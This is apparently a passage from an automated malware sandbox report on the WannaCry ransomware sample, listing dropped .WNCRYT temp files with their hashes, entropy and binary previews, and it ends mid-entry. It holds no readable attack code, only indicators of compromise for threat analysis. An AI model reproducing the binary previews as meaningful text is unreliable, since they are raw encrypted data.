                                                                                                      SHA-512:EA76FA0656541909776D69C071D3601D8A9D62EA6016D0BD34D708F55FE241A29955150FD1B033F3A0ED2DB55F1518E0A5CFE3987BF29543526912210F0FEF15
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:P.Z=.q1.......'..j..3.E......L..~...rO..X@..!...V&>...?>..O..6.......+s.a....f._..Dhk..................A%-Ps?.C.n.V0m.............W.H9F.g*.[.........*.%.o.V..;..D.._..T.-c....=.......i.A.v.....W...=&.F...H.!...C......U.`...#.Z3.........[.='Jf.Ij;p..k%g.A.:.:.>.d....6...G.?w......9.#l.....m......~..d\....A....#.>...R..7..jk./.3...L[&w#T({`..$.Z.~....b.u...Y..F.C)..2.t....f.G.....*b.......J.<...3@....#G...c....9"....iI..W;".1..\(.... ..m..........K...O..^.p......{O....o1\.O.8d....` 3qu..W.}d3zU...&S....4.l`..y....*.......-;.....m....s .u3...Zr.....&....7....c,.......0....:}/Zo......P..G....mZD"..(. ..t...2cO.&...<...L.......1.:.S..............u6.].h.|.L.u...9Ya...^...2%._p..*S........v9-K."o.g.=V%).dP.t.o......0S..*y..].K.&......=.#..un.N...{g....k..D.p.;x.%.pI..p.....N...N.8..9P4.2..(%,.^..k...s1..?"a....C,...-..t.JVCS.v.+.@..m./.{..."..J...>[ i{..PM..+NlV3vE...E%f..?i...(..Hj........?..w .i?.,.@..@..w."@@..G...36..oW....)M..o..9.A..).D

                                                                                                      C:\Users\user\AppData\Local\Temp\60.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.813577787053319
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:1g9xd0zb/qBLfJ3ExMs8Hm2W6Ubw91iJ2iczmvnncWB7J:1g9xWv/ErJmRym2W6UYk2NzOBF
                                                                                                      MD5:3995248999FAA88C70006D5A486044F6
                                                                                                      SHA1:88AB6FD80939F013920FDD76FF9F3FEB9A270A12
                                                                                                      SHA-256:979162EE0C495F9CA4DC862E2535D8021C2CEEDD9111909EA7A09CEB4E969DC6
                                                                                                      SHA-512:B553498035BB558C149860F18637ACDE2115AD56699A3685B94508397B93A891F038E7708F3584687CC622FB2A4C613E4C5013C5AC9C60113E02D5032DE72B4E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:......0..s..+UqG....y.oL.=q)...|.G.[.sB.e^E.......7S....$'B=....p$;..b.......NWlF.Lc..!......"+$=!.{..[.....hg.../..z...v.yL.F..n.0$...O.kG0...g..~.[.D..."~..rp...w....;^*.*./...1.....=.b....&gD........5...1..<..sFE.K..S..F:I.yD=Z.=...dJ.Cf%....(.H.|."6...W......M',.....w.K..P........>....q;.X..Q.u.h|....MJ@....W.9...p.*.4.+....-D:.g^YV.......j.k84.b...hv$.W.?.op2 ..q=.lH......>..*:.e.(.n..x.g.u>.9.".rd.R.v(h..86..L2..S.c.V.V.Q..i.uW..;..9N2.b.5..<.e..?B3C......%..C!G.0..Qf.:.].u8.$.c.4J.%.kO....:N......:^...g.t.I.Bp.a].%....>..G_.....hC.=....eq_...h...E.M...%k..U.<.l....q|/o(.beso4-A].1..z~...s9....1..j...B}3.Vi..P(,.=....r6+....7.U........R.U...Q.....n......I.YUs.%.='M......~../.jm`.T..a....4.}Q0.h.t........9P........W.K...L..D.Ao...|..&.^..F4.....;..Ef........D.u]<..Q..+S.!..\...V...h..N...g.^.2j`....}..0....$..1\...bh......OT.&.(.....MYT..P.:.8..^...+.m...I;.....<.ISH3.E....t.....)..`.).J...l.$...>.U.{=!...MRhH.....*..."l .0..t.QN..6.7.dgBJ.

                                                                                                      C:\Users\user\AppData\Local\Temp\61.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.83119813805605
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:tkaslV+ilHlcvIIQal61w+U6w32laC6dB856/MK:t4bFb4J6w3el0YKL
                                                                                                      MD5:01371EE21B228433EC82D31FD180FC51
                                                                                                      SHA1:B9701A01687AA69B572B1801865F22A66EBCA7E2
                                                                                                      SHA-256:36F8DE1BD027B9F6504C9BDE78C193211B3EBCF11243519311C6E0617BDE3752
                                                                                                      SHA-512:9EE45B1D88CD488434999101FAB47A8B608BFA79C618D4C2251A9F818EB719E3CC34326610F7629344FF8261D9C44D49967DBFFC51667944ADCB0852A9080FEA
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q......6bVY......_...~TggF....O.!`.,7_M.....'.. .S]...5.Q+^.......<PzF.qs&.RHN]Ex.....8K.[.....?N.0;.S.u.mjL.....R..y.7.._B.3.6...}Qk...d.......4S....B..ss...K.L..!...A.t,.OZ$........N zNQ.<.@.. k..x.;'!.n.....V..).Ac.>.E.zk.......2..!]A....L...ns...`C@^...w.ok.%..j...y.......|T.a.+=.....2..J.t.~.4........[c.5F..n*R....N..4..&.r....H.:Z........Q......<s-.{.......t*...2..R.~f/o.H..zy..\.7.tc\"..x.CN......:t....B:.F&.....l....Kl...(_.2...>..5..|......1V`..5v.Xi..>..,.[8$..?C.F.&u..x<Rl^..H'.l....Z.+.......j.Sp...c.$...*.3.r...g...:+gE..Z.Y.t.P......kj.1....i.....F1....1..'_......W...6.KhG.....d6h..n..r...k..[.4...w..7.w{9.G'..E0.9j..J.^.(.n..\.k"...z.~.).G..De.....K.Z.........~s)..T..1...a..G.m..hC(._mF."c....Q..O... .....N~{..2.....Xs._Z....-^........7......&.ZR.7`z..a.b..K:\h...)...X=#...9........#.]..R......}Q.]..=}.o]...>....p.\u.....jv`I^*..gd. ..%#....ZUz.:.H.0L.........0..K.+...'."<........=.C*$..)}..F...d.....hg...)..3~cZ\/.s@AI.....

                                                                                                      C:\Users\user\AppData\Local\Temp\62.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.80692384306943
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:1g0U666kksc7F8lXC8PAsr+9CWB2COoZORUkVAIMzJs6UwIpI7QCrU:1g0AcB+YsycE2CbdkiIMQwndU
                                                                                                      MD5:725DA37827AC717D778C8A25D6B9855C
                                                                                                      SHA1:721E7A1916E06373216D3D17C8F313944754A4C2
                                                                                                      SHA-256:E016063DD2169117873A247A662804D7B97028F1CE2D113209CA76E7980890B4
                                                                                                      SHA-512:EF7F6D2D3CFE4C0133425AD499B374378DE37F5A80D6889D4D4FB8EB9BB52A36877B93BC5D05EE7C76903FC5CAE24AC969FACAD747C5974CF541F2817726F90F
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.KIqX)t/..L.?..T.P...a=.S.A.[.Y..qJm..-....9.|t..........;B.R...E..+.~E...jpIz.5\..;.iC8.uv...].b.8..u.js......O.g.$k.yj8...oh..K.C.D...Wts".0..wN#..K._H.~...0.T.#n......U..P.......n.....s..&...:....m.G...6.GTO..(.I.&.._.K..R8...Q...LM.G......9..1...?fq..?./+...G..2..X..~.Kc.m..j.d.s.,BR\.,.e...me.,gj._DtoS5.j..8.=...Fq%..N..A.U.......0..........N....@.......W7.....4.....f.h.......S"...~....dj'"H(^.n7.6...........*.rtD.....=wM....;..@W=sV..ki...J.....xA.p;....D..x53..9...H;.......h.^..k.fdH...1.^smW.t&...=G.H..&/...+....p..2..[.......Y..xH...7....g..?.,0...Hkb.^..._.]...K.)...R.E..}...@...,A.9.....lu.4.......$..4.:.)T...~...D.y.8Wz...#.<...".22.S.o.D....g0.z.P)....s.u+.sp......r.|.:.....tm../....l.+5..._....+F....z..w..:....8<.%.S5.?....X.........C...P{..C.itc.T`.s......8...7.}Pb.&Fk.hM..+...1@H.Sm.>4M../...&^...J.t....wH..@.9W.|.F......r#.h..0`....Z......x_.a.o.:4..r..3.._..t......W6..P.x......&......R..!W....lI....8B....28.fd..R

                                                                                                      C:\Users\user\AppData\Local\Temp\63.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.795872985753507
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:gMdg5/qsRH0T9+yNLv7mDU527VvcyRFI+NIbiyB8uCjHP4Ci:z+1lRH0TdLTCB4+NsB8vjHP4h
                                                                                                      MD5:374C772FD6A0726D1B22A653A382F93B
                                                                                                      SHA1:BDE5FF1E48CF199BCD26277E81641FDEDA907D21
                                                                                                      SHA-256:68B21349BC9383F1B2EF35D09051C245EA51FAC1C8F78E3630CB9F9E3A1CCFE0
                                                                                                      SHA-512:8F3AF850B214AA30DA5F26A93628E15CCA9DF3B27DBD2EE392656AAB4393DE93BFC6903A915BD456B019A5634943C67BD859DCFC3FFCD3B32DBB87E9815CC0C6
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:@..)=-f.....PQ.5..s..08..'j.IcK:0.p.")3....}...y.%].....I..jDBYowj@T.\....0S...!<...S....4.-.......e.b...4...{|..@....k].D.it.L......^..M....]Y.J .MYVW.j...A....]....,F.f....$.|.!..5\../...&.|..K..6...U.nZ....Z..o..0{7n...Ki=..S...v .Y.........4%.>..0..... A.....w...0c@..f(......D#.A~...^..n..........=..'Z....i..p...Ul.......Avu..X..{B.L.....kO.......V?lk..b..f.t..9@...O...L.I_.\m...........$..`G...A..wW..g..Q..'.Gy.')..i...k.2...m...L.......Xv.Z...F.r.."7..l....].g.o^U^.D.I<..W.....P1..u...x<4....9.\k.........0.Z.bT-.9....a.!8.T.'.P["y....9..oD.]...H....(L..j(#)cFK.|...:A...Y...(|.....(-..)Sm.;.^$.B..3..U.<...Q....U...qUbC.r...(....T....NOH\x.O.y...`..]...#a1....U..*.j...f.,.*..5U5.`.-...|..Uv..;..bP.u.l.s.....i..4...Z...x.s...@.YQ.R."u.Xn...=._Mf...6.5.S.T...y.I.E%..B m....-S...l..Lb.i{W.7{...V..r............c..rg..>>.=.4.&.............X...[je.t3..\9u,`L9..%...wPT9P...7...3....<.\..G....._.w.:...$..2.#........=1s..1nG......Z....[y.0.....J..p.

                                                                                                      C:\Users\user\AppData\Local\Temp\64.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.808795129701552
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:U60BQOo4zVWBNdTV7VgJdb3VDTKZRbJxFqHsBPXbj:d0BQOoMVAXOJd1TqV7Eyvbj
                                                                                                      MD5:A65A2422629A6FF64C9DBBDD86905E33
                                                                                                      SHA1:7723B7649E911E30644FBB9301B69356E9A5CC13
                                                                                                      SHA-256:F3AD2DCC90F6CFB00CA8D2FF001BE3D221F8E45BCD867E21CD33CA8B5AB81DD1
                                                                                                      SHA-512:CB09ADE03FB13C1F2A4E7AC8960B6B853191AA40B1076C05D9936E869DE13FC58A61A6FD56CFB87374CE43BA31E3B44495525BA78203BF40555357F772F58E1A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.....Z......W..c.*>.....>......5>.r....O....G..D..:.........d..*.E....J.L......j.W.1..u@....Aa$.@.j...{F.7Ud...`........&7...(.......'..X..W../{B[[.^.w.Nj.R....-.5.am........V..QX.cA&.h.'...0su.@....@..|k.M.;\..Mi.'...=...6........I..8X.!.. ..../.Y.1..wC_.@e....5 .0....LN.{.....u7..!h..O..]4{h..<.d...$.......:.Q.bv...".L...8......Z2,;f..x...n.J..-;..+6..I...~..8..x.)f..P.|I..".!..C.....t.V.6.R%.Y......G./K1.O.'..E.a.!EJ..{..P...u...d.r....+.~.!/@...d...a.s`Dd.,....`.F..F$...7+b.........5.LQ...U.2.....Pc$.L...d0../...gf..b.l%.......8..:.F....0.[N.u.'<C..).X...ET..i.{...;.2..^-....hOZ.S....P........yk...d..dRG?m...:..{.R....f.......&R.G.t)..G....!.$..I....Ff.!.My\R.EHyo4&....l...[81.|u.bS).G.e.M.......0j$..$.C....:i.$j.._\...(#..o3f.<...2..GX.ayT$.X.FWy#.o.V.....=v....$.|.b.s...W..:...W.^...%.QR:..6"....pC..X]....r..KKs..f....;..#5G.%.....f..T...N.g..*w..|...8.....F^}y3.w.."....X...r.. .9.X.2...Q#....E.`q3.B.......Dt.b..G!HwG.d&*i.%...,.....

                                                                                                      C:\Users\user\AppData\Local\Temp\65.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.838122499363327
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:W9wFejKl//AnKXRSQybpFmlBO3bOeiApsdaz:/Feje/AKBtybD4BIt9Wo
                                                                                                      MD5:71659D85321CFFAF633D8685C760FB4B
                                                                                                      SHA1:4787C224FBC9857D9DA0C8020B2477BC13EDC56F
                                                                                                      SHA-256:FCD33824E5E5659D46480279917A365FAE6D8BB3BD731FE8B5D191E89A010A79
                                                                                                      SHA-512:10810D3A8CC1F5D3AE6EC7E300F6BB73B42BD75AD7CA4F7F70B0AA08155AC5C5BA399D7C8C0FABBA5A21055C910693AD741AF0E497600A6E6AFEA5EA0BDFC1DE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.T.(Ki........|].Ho&...gl..Er.....`|.......9Y.v..._.?...;..yMOc..c..@1.Cv.n&....+....M...9.G'..gf.#.,J+...4.ZjwT.v...S\T.Bz8....$..m%...l..ErA.:.@..R.6B.g{n^......$#....E._Z..U.Z24$]...j.....]..38OH.l..f..[..Z.c.....A..1...#.........3\;.~..Z7.e...]..g..s...f.k.,*..........'.>q.A.z...J..B..c.H..J k..r...x=%J..8!.....MM..}.f=..S<..bk...".d..2...4Ca....v.../+...D.......h.b..f.....C._Q....n.i.$H.\..?.hQ..H.w}...).M6..[n... z.v{..Fy...wY{..|#J..V._^.....P7.M.....K...K|...../..l.f..j F..:.+..u..@JG1P.....6>.)s..kb.N.o.........mu...S......).(/..P...[...G..K.&.....{.N.LSF.u}.s....S....u...3.B#.Zz...4.>".h.*......:6.........Zw.9.7g.~...Fg)..C.E.s.klLQQ"..N.......a.h....[.OAH......./..;...&y......~.>..gP...2<e.t..|..'.'../.O.....eC....z`....1.B.m...;&>0`....a~{...-.._.@P.X3..IZg.?A.l....X.q.....Z.{..U....t....S.;GW>.k.."....:4L..E..#..2b..1.........)5....x...4r.:}..,.X...F3b..z2g.4M^.b.v..q.....m......K9.ps.......:..G....a....y.

                                                                                                      C:\Users\user\AppData\Local\Temp\66.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.807962990389949
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:nCtBCAf5xvxKpoSut4JKf8uxllQxMFpz+cgV+f4lLQThOy5:CtBtfUPujk2sxMr2tliOy5
                                                                                                      MD5:FCD4729788C347DCE62F326868497FF9
                                                                                                      SHA1:D91EC99C8A49A61C1B5B73289C7C9D093EB5B884
                                                                                                      SHA-256:A9EA7DF6E56896678C4278CF0C46D47251FC4381AA0BA2075D2DC538814CE693
                                                                                                      SHA-512:AD233B9C2428433C8D8175A70E8BE843105FDE5331F48BE4563FCE05C423CB7776A12F4C3F8285342EF72B8921EC613CBF45408282239B4E0E53055B040B48ED
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..-..:...-..../..6.3....5.c..7.p.bw.;..@..T.... }B..v#!......&..n...%..ZK..3.5.i.....E&.>....i oM..Ff.&...... .?G.../.>..1a.m.d....J.$.............`.....Ao.....q.j..X@.?...............HT.w]...O..IL....s.....VX.;/.h7_E.D..d.{..:.z$..X.e..3....[.{,+d.W.IP...b&[+.7.8=..<.-....?7.I%O.y..R.76r.V....t..sE.^.....<....{.."#j/...-.......S%.|...._.B....jUq.^r..j..5.i.,....B..<.f...S.f..P:U.....1>.U".B.C....... ....sj....d.......#V........!W3&N....]....\.7.BI..A....*L....7......B_..#*..z..@..K.,R.4....*T}..1.98.....w....9yJ...AGQ~...)....N.S.z....R.#.....f-.N%.'#...]........|.o..<..9q?n.e-Dc~.R3p.7tzCp...)_... ....9x..O....m>/a(...h.3z4..'...lD*........*.m>....S...[..~..=9?.6`.._#.t(..^....c..nfI.%(..k.=.6.<.Rd.IF.P..l$..}...R..i~qcye.A..em..y-Cr.v.kN.fl9.P..F?....z.... .............B..?.m.=.)...`.^%a8k/b.G.-...e )H.....:.....NS)o..T.n`[..p..X .Ck!.-#.........y...L*:^..!....*.&.g....f.).;Xa.../<d..Q/X-2.../......w.8y.N.}M....q..8....uq.Mn.0.8

                                                                                                      C:\Users\user\AppData\Local\Temp\67.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.796683845577543
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:0GKPDgBiYlmOtkiohLEicgIyXmRutQnLOUfQaOSVvpsjPfk:0PUSiMLEiwwmZyYQaO8pOPM
                                                                                                      MD5:1D50781D43BB209AF5E547A30752C71E
                                                                                                      SHA1:A12553A91DD31DE87932941FEFA848C3D07E639B
                                                                                                      SHA-256:2EB48A8E1E88D2E1175943C550802A3B593DE66BC79E03246092896B0A63C33B
                                                                                                      SHA-512:362FBF9F385D591C0B6FC13E85BDEE56A7AB49C41ED3802A864B789D11CFEAD940BC1539B769AA3FEACC60D03AC47BDF8EE8535FDF5F24014339D0CFAAA3F768
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.T...X...I=*...Q.a!.....e.Lk.......J.)D...zf^*h.g.5h;.x..x.W!..E:.Q:A.C..N.`.E.{p*...|...\.'0yfe..Y.u...n....W..[.N....x{..Y..4.i....f.=QN EC...F......Pvq....S.5..:@.eu`.^.../".I.j...p.Z..D......T7..v.....O.D.-9...OW.F.1..s......s..K.I...:......Tue..iaJ....%...0.........V.l.:]R.,..P.....b~S..P.+':..g.. ..>...p.B<..........G......FT&...|.....H*..P...T..;r.^.G.~..<........+....1..$HI......^..UI.v ...(s.j..........'....GM.z.7d..r6...R...6Ts^......V1............m...z...s.A/,.>l.!a..Im..a.D.W.K:.M..- .^vER..V.W?Az!.~=.-..KjA.._.Tn.t.3..Nd.g.....t.F....)..."F5...8.......e..1....K.Lq.0.....T..\JzE..=.I."..5.&.6M..>?g...R...8..6...[./...`.z.Q.Ue.<.1....3&P.........C."&4....p0P*..]....=.aU..J..B.........o..H'in......I.%.$0.........p.v..m. .%y&..u.+..O..j.d8z.1u.{9;..|..Y.....K.;..A.*.~Z...7.gU.I.3.l...h\.....B...A..'.........u. J.X...v.=.)n|n|..Y..`...U..Lm...<...{...\...1U...5...........,..a...F.*..~[.v:..d.$..Cw.......32.7...F..w.T..n

                                                                                                      C:\Users\user\AppData\Local\Temp\68.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.827069398294973
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:4xsGohyVl5nBB6bRZ9qnZI9AcocsTfblzxcdfdF4t2TKRTU8ji5P:4xsGosA1ZM2AcolTfbczF4t2O1fjiN
                                                                                                      MD5:4D5FE3E7EFFCFFF56519CE5AA24F0FFB
                                                                                                      SHA1:6A88AFF4192BF2825972E6B69EC76E642C037D3D
                                                                                                      SHA-256:D8E28BDD9204C436D65120F3A69188C95E746AF73FD562C3A37193D507E3FFDC
                                                                                                      SHA-512:21434D1838246F3F1B3F6F6459AF6727731C811B79BA6EAE0E43BCE11C986735D60D59DE10D7BCFDAD7D0C9F1DBCBF7C4713C523DFB5D2EA3A198029F37A0DC9
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:=...'.9^...ru. ....-....0yb._.~&F.....H2.~........tp..{..F......(.....O.|0..R.....v..&P....`.!..R..).Y.c.n+;.....S.g.......1..h."o.($X7:]...t;,z.. `2_EV;.TtIb..U2..E...9M..H..-...J.~WO.~.U`.d...T.j.a...v.y.....%...{y....P..O.........ve[..^.i.V...GX0M..@........>v...dK..!-..........,.|oT..2.8_N......d........H,.E.....F.!..#78..?.tw.J....u|^8.....".0..|...W.j...^.Hg5..+Q=....m.....,.k6.k=g..Z.j.4.3.F..4....@...M/.........0:..k..E....k..n.)iLo.O..Zn.....m...E......c.b..\.$)..`..Y.{.yJx..3.{I..k.;..`..~.V..i#..H.>....A.F..QE..N9..E. .e.......eu.L.5.Y...X....@.3n<..P.....Nqm.S.z,T.s.....Ls.W-..MR..U.......E;.T..O...'E...{...4...@........%*\@*..?....:.x......Xg..d~.e.^..[.H?.{.h..a.../;!..j.e.X.........0z[.]....B{...-.Y........v..Y."...R..1..A.....!&...p...Jf..V..?y..^3.^}..T...C..0 N.[% .Z..mm.NZ.....,]...=...9...3[..#....eI(lG..)_"r...&..^.b.z..5;I8.5.q....N..i..<'.d.Hh8...t.........8...0...e.... &.........?.i.!...zz......~g.

                                                                                                      C:\Users\user\AppData\Local\Temp\69.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:DOS executable (COM, 0x8C-variant)
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.804738212696676
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:YPzjnPOJi7hHyF836PNugJwlH5MR4O6AqxotYk:YPzqJO4BVuWwREWotYk
                                                                                                      MD5:95B8F1E70E68F84DA4406E6512CE3DAD
                                                                                                      SHA1:AE68D581D1A7FA85D4CB763D6243F64A35A36DB7
                                                                                                      SHA-256:51DED3C45B42F6BB699F06A6B336FAAC4A48E4AA64F1652D1D9ACFC60A7A222D
                                                                                                      SHA-512:4C089C75F919A0AE8BA03736C40F4C2FB6A70C4ABAC30FBFBAAD656582CC54A43A57FF989160940131C6BCDCB5D482B7AC7A14CCB5608C35E0E74732AC86FEFB
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:...J.<.5/2..z...^ZJ..w_.~2Z.#...)F....8..*.U.|.,5..L..6.Y........6{..W..$.....r.M...+.s.....UT....=..bi..-90H.M.!......~.4R......v.c?nE..p...;.. Z.D..8Z..=gA.`.1.b.g.XK....r.J.(......._.~.=...%V.....+..cb......[.i.).....N*f.T..z.H^(..>..G.c..[J...q.r.r.JL....7Pc..4M...1....P...1.0V7ma' Y.LB.E-.J.......O(d.8..U....A.J.....u.....q...o........l.$.......C......M.E..)...08.a.......Vb..^..k\..sgff......a].C...1.-...tu........g..iu.....'...-){*mcFZC.<......-s..h>.....}..<o........K.[.p(9..!.....h.x.......R._.{7y...N9b.H\V...p....]..8U..}....C....Nv.%.8g,.....Fb..LG...w..'.2.....P.2u.v...(..@;.....F.."F@...@5.2.Ip........y*;zy.../......5.`x.$'G.dE2.M..6y...#.....N..2..G.Y....:7.c..N..xm.I.....R."....y.+.*....*..._..Kr..W.f./...]?.|...c.+..}..H.f.9M@B$=uE.[,...r.....Y<.Gz.A=u;....i.Ip{/.}.#.p.J.t.........'....`.@...^...0..(....*.q}l{.6......>J.@.)....eo...(..0bt..`+.L.tkR..om.f ..Fw.....Gj....4.J~Y.b..q{...O.5jaE(i.t.}.`.G...7....v.h..=;..u.f.$Z.N

                                                                                                      C:\Users\user\AppData\Local\Temp\7.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8206526663316245
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:6fZp/y2UIf7olkJ/xQh4DM8pd3ve04ckq2/ooRD:q/y2UU7WyDM8/m08QMD
                                                                                                      MD5:7DAFA58757163AD3C994B6CAE4BC726B
                                                                                                      SHA1:AC307916CF9A60E8BB63EA64FF1A3D8CC40482F6
                                                                                                      SHA-256:C7839152D679E46E02F5574B09E0048D96BE4CCD8C74CC52B4BBFE2EDE7616C9
                                                                                                      SHA-512:C351089832B7E2FE47F9F9BC119C417009612CDD79F1EBAFC68A02DDE1E710ED8D8A3445C24573DB85B8F6406A4E549FC6860504B73114444862FE91E3FF8144
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:j.2NC..{k/.h)....B..A^#X~.(."|..V.....i$h..N.l..b.......p/.s.*c.6W....D...(...,..u....}4.f.F.M....%q.v..5.Pq.#..K.D.j.;Q....H.[..j...t...A..y~....}.K.V..v.}.]u..{......$./.....H.k5.{U!..e.1...;H.=vwm..Z..^......Z.<...U.?n#...&.n0s.v.f...,.U.b.?))X+Q..........AIT=..U.rC ... .:.e......}y.({..K.p..b....(.fK..y(.+.6.g..xR~...,?...$X\..*WK.:...v..4...i..J].._......#...P6.h.=.....dH.Q.$T.F...V-...P.....{x....W.$....Ew*...h..u......\.D.Nf..N..T.N...f..........3_G.jNJM.:i.s.C|5.#.i_.t:.../&.....U..L`5..:..P......m.;.[.s.z..-.g........4.z$.....Py.........(.M.>.)=....M..............e.J..v@F....,j.M.U....$..A5......6M.'.A..".7hCa.TF.......XX. ...Q.'e....S.<pnY._..f....>.Bz..\..h.G.....6_qt..:.`9..U,.cH.S.X...,W.f?.f.`.("..t.V.?.&.Y.,.]..j.S1j...J.D5...8.8O..S\...q.*..6...K..$q.pa,...)..:..)-..X..2.6X7...M....C..<...3P.#..5.....'.wj?..}..i.i.#.=.q..x..`.0..P.JF....I...]..WJ=.Y.169.".../....hZ..+.j.g.l.0y....}.....Z.......}d/.....E....

                                                                                                      C:\Users\user\AppData\Local\Temp\70.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.811972752359457
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:osfvufICiVAH9O89riYl/CdLxYhXV9pecCojGWExtSMxuhMqilo:on9vHlBV9phrjQxTUhnEo
                                                                                                      MD5:1862D41F6171AA4EE04D2E4D11EBD21D
                                                                                                      SHA1:3E567E32C793D258DFA9F514E98401028A80C344
                                                                                                      SHA-256:876D2DEDFCE04F702F7CD4A14DEFCE23EFD0644E9EC1BF8F0C4818827EEF201F
                                                                                                      SHA-512:CE5726DBB82DA3154E5818C412CFB818BBA95233790B773E613569291F11DA7E6EE82618918CB0141830EDDCF738B0923AA01882A7046984EF97392161FE04FF
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.n.......S....0.C:..z......3......`-.b.v.L..CG....%1*AD..D...).....[Z...Ev'.......m.......X...;.;.8.....I<......`...~;..w....1..qX.$f.9x.....g".KK..1....<........T..C.r,h........&....<....;5..ux.Z#............\......X7.../p.*...L...wo.................?v.._.*._[...G..c........'!W.2..m...A..*W....Q>.6...9.w..@.....VF.u._..3.....7......Q."....D.`.k..../.rn..U}#.1/..3(.....=.9W5.,...K.h..7...akX-.......'...q..<......N.......w.=....p.+..+.,.......47.m.},P...G....M........?..j^9.mo.J.....X7..En.......+m..w.S.C...pJ..`j[...z.....H..g......f..H.Z0....}J......g...7.b#...Z.J....B.,.nJ'.v.N......9.ju/.k.yh.......a}.......1-%. .g.[.........7..]..'.i'.|xAa.......Qp...M.SM.......0VgN.$F2{&.&)...].l.pl\."....l.."5..k.A....|.g.- . .$2.E.9X}5qv...P.8..^4...Bz)S4..e|..6<n.....J.H.|.Y...q...e.u...U..4..L....X(.......T..@..]!.'..x...%.3...I..+.Ha.Z..\".u...%..t.F....n....ehd~...MT.o.@....U....6..I .;....R_...8CO....Tf.....0...Q.....*.e.<.....2.~>6.

                                                                                                      C:\Users\user\AppData\Local\Temp\71.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.836818661416473
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:KzwgxLVvlU82SHZjNXyBzQDqKbPNqgAhE8:ZGJGzShN1qsF2F
                                                                                                      MD5:07073AAF84D38AD0BAF28CDD408E7B5F
                                                                                                      SHA1:5F20C81D542D87EAE712321DE999CF22A9BA1046
                                                                                                      SHA-256:2BA62E19FDCE06143457E2EFD7EF0AB67B65483ACEFB9F64FF5AC351BBAF3482
                                                                                                      SHA-512:8852BEDBB2270098627722FB0D967B894A83B36F4176C72947C5618982E786B9E777C1609DC847DDA4EA86C30BC7684DCE05236BB67503904583CED968FA15C3
